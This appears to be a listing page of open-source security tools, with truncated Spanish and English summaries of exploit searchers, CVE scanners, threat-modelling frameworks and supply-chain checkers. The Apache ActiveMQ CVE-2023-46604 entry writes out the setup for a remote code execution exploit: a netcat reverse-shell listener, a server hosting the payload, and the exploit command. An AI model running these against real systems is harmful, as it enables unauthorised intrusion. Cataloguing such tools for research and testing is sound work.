Pompem

Pompem - Buscador de Exploits y Vulnerabilidades Pompem es una herramienta de código abierto, diseñada para automatizar la búsqueda de Exploits y Vulnerabilidades en las bases de datos más importantes. Desarrollada en Python, cuenta con un sistema de búsqueda avanzada que ayuda al trabajo de...

CNVD-2020-10487-Bulk-verification

CNVD-2020-10487CVE-2020-1938 Script de verificación por lotes Script por lotes basado en el archivo POC de @YDHCUI. Admite verificación en lote y capturas de pantalla automáticas para facilitar la revisión. 1. Preparación del entorno Para el entorno virtual, use conda para instalarlo busque por s...

CVE-2020-7799

cve-2020-7799 Detección por lotes de cve-2020-7799 Agregue un archivo text.txt en el mismo directorio El formato de URL dentro del archivo es el siguiente: www.baidu.com 132.231.132.132 133.12.122.13:8080 Ejecute simplemente python3 cve-2020-7799.py Nota: ¡Se prohíbe el uso de todos los recursos ...

auto_re

AutoRE Features 1. Auto-renaming dummy-named functions, which have one API call or jump to the imported API Before After 2. Assigning TAGS to functions accordingly to called API-indicators inside Sets tags as repeatable function comments and displays TAG tree in the separate view Some screenshots...

associated-threat-analyzer

Associated-Threat-Analyzer NOTA : ¿Qué dicen las leyes de privacidad sobre compartir dominios e IPs maliciosos? Por favor, consulte; USAGEPOLICY.md LICENSE Descripción Associated-Threat-Analyzer detecta direcciones IPv4 maliciosas y nombres de dominio asociados con su aplicación web utilizando...

domhttpx

domhttpx is a google search engine dorker with HTTP toolkit built with python, can make it easier for you to find many URLs/IPs at once with fast time. List Install Usage Flags Basic Usage One Keyword Multiple Keyword Extract Title Page Extract Title Page from Real Path Extract Status Code Extrac...

domhttpx

domhttpx es un buscador de Google Dork con un conjunto de herramientas HTTP construido con Python, que puede facilitarle la búsqueda de muchas URL/IP a la vez con rapidez. Lista Instalación Uso Banderas Uso básico Una palabra clave Múltiples palabras clave Extraer título de página Extraer título ...

pentest-a2p2v-core

README Automated Attack Path Planning and Validation A2P2V is a planning and cyber-attack tool that provides the capability for users to determine a set of ranked attack sequences given a specific attacker goal. The aim of the tool is to simplify process so that non-security experts can generate...

CVE-2025-55182

Escáner CVE-2025-55182 Este repositorio contiene una herramienta de escaneo para CVE-2025-55182 RCE y CVE-2025-55183 Divulgación de Código Fuente en React Server Components RSC de Next.js. ⚠️ Aviso legal Esta herramienta es solo para fines educativos y de pruebas autorizadas. No utilice esta...

pytm

pytm: Un marco Pythonico para modelado de amenazas Introducción El modelado de amenazas tradicional a menudo llega tarde a la fiesta, o a veces no llega en absoluto. Además, crear flujos de datos e informes manuales puede ser extremadamente lento. El objetivo de pytm es desplazar el modelado de...

pytm

pytm: A Pythonic framework for threat modeling Introduction Traditional threat modeling too often comes late to the party, or sometimes not at all. In addition, creating manual data flows and reports can be extremely time-consuming. The goal of pytm is to shift threat modeling to the left, making...

log4j-urlscanner

log4j-detect Script simple en Python 3 para detectar la vulnerabilidad de la biblioteca Java "Log4j" CVE-2021-44228 en una lista de URL con multihilo El script "log4j-detect.py" desarrollado en Python 3 se encarga de detectar si una lista de URLs son vulnerables a CVE-2021-44228. Para ello, envía...

CVE-2023-46604-RCE

CVE-2023-46604-RCE Python implementation of Apache ActiveMQ Unauthenticated Remote Code Execution Setup & Exploit nc -lvnp 4444 - Start Listener python3 -m http.server 8080 - Host poc.xml that contain your payload python3 CVE-2023-46604-RCE.py -i -p -u http://:8080/poc.xml - Start exploit...

CVE-2023-32315-POC

CVE-2023-32315-POC CVE-2023-32315-Openfire-Bypass-Py Resumen Este código es el POC en Python de CVE-2023-32315, utilizado para ejecutar una serie de operaciones con el fin de verificar si el sitio web objetivo está afectado por la vulnerabilidad CVE-2023-32315 e intentar realizar algunas acciones...

CVE-2023-36845

Escáner de Juniper Escáner para CVE-2023-36845 por bt0 Más información sobre la vulnerabilidad: https://supportportal.juniper.net/JSA72300 Requisitos: python3+ shodan colorama urlopen pyOpenSSL censys $ python3 -m pip install -r requirements.txt Opciones -h, --help show this help message and exit...

CVE-2004-1561

CVE-2004-1561 Versión en Python del exploit de Metasploit para CVE-2004-1561...

log4j_checker

Log4jchecker.py CVE-2021-44228 Descripción Este script en Python3 intenta buscar servidores vulnerables a CVE-2021-44228, también conocido como Log4Shell, una vulnerabilidad muy crítica encontrada en la librería de registro de Java Log4j2. No depende de servidores DNS de registro externos para...

BSOD_bitlocker_recover

Herramienta de extracción de VMK de BitLocker Este script de Python te ayuda a extraer posibles Claves Maestras de Volumen VMK de BitLocker a partir de archivos de volcado de memoria, como los generados por una Pantalla Azul de la Muerte BSOD. Es una utilidad de línea de comandos diseñada para...

hoppr-cop

Hoppr-Cop Para Vigilar las Vulnerabilidades de tu SBOM Hoppr Cop es una cli y una biblioteca de Python que genera información de vulnerabilidades de alta calidad a partir de un cyclone-dx Software Bill of Materials SBOM mediante la agregación de datos de múltiples bases de datos de...

ci-supplychain-guard

Guardia de la Cadena de Suministro de CI Una herramienta de análisis estático para detectar dependencias maliciosas en pipelines de CI/CD antes de que se fusionen en tu base de código. Autor: Otsmane Ahmed Estado: Prototipo de Investigación v1.0 Inicio Rápido 1. Clonar e instalar git clone...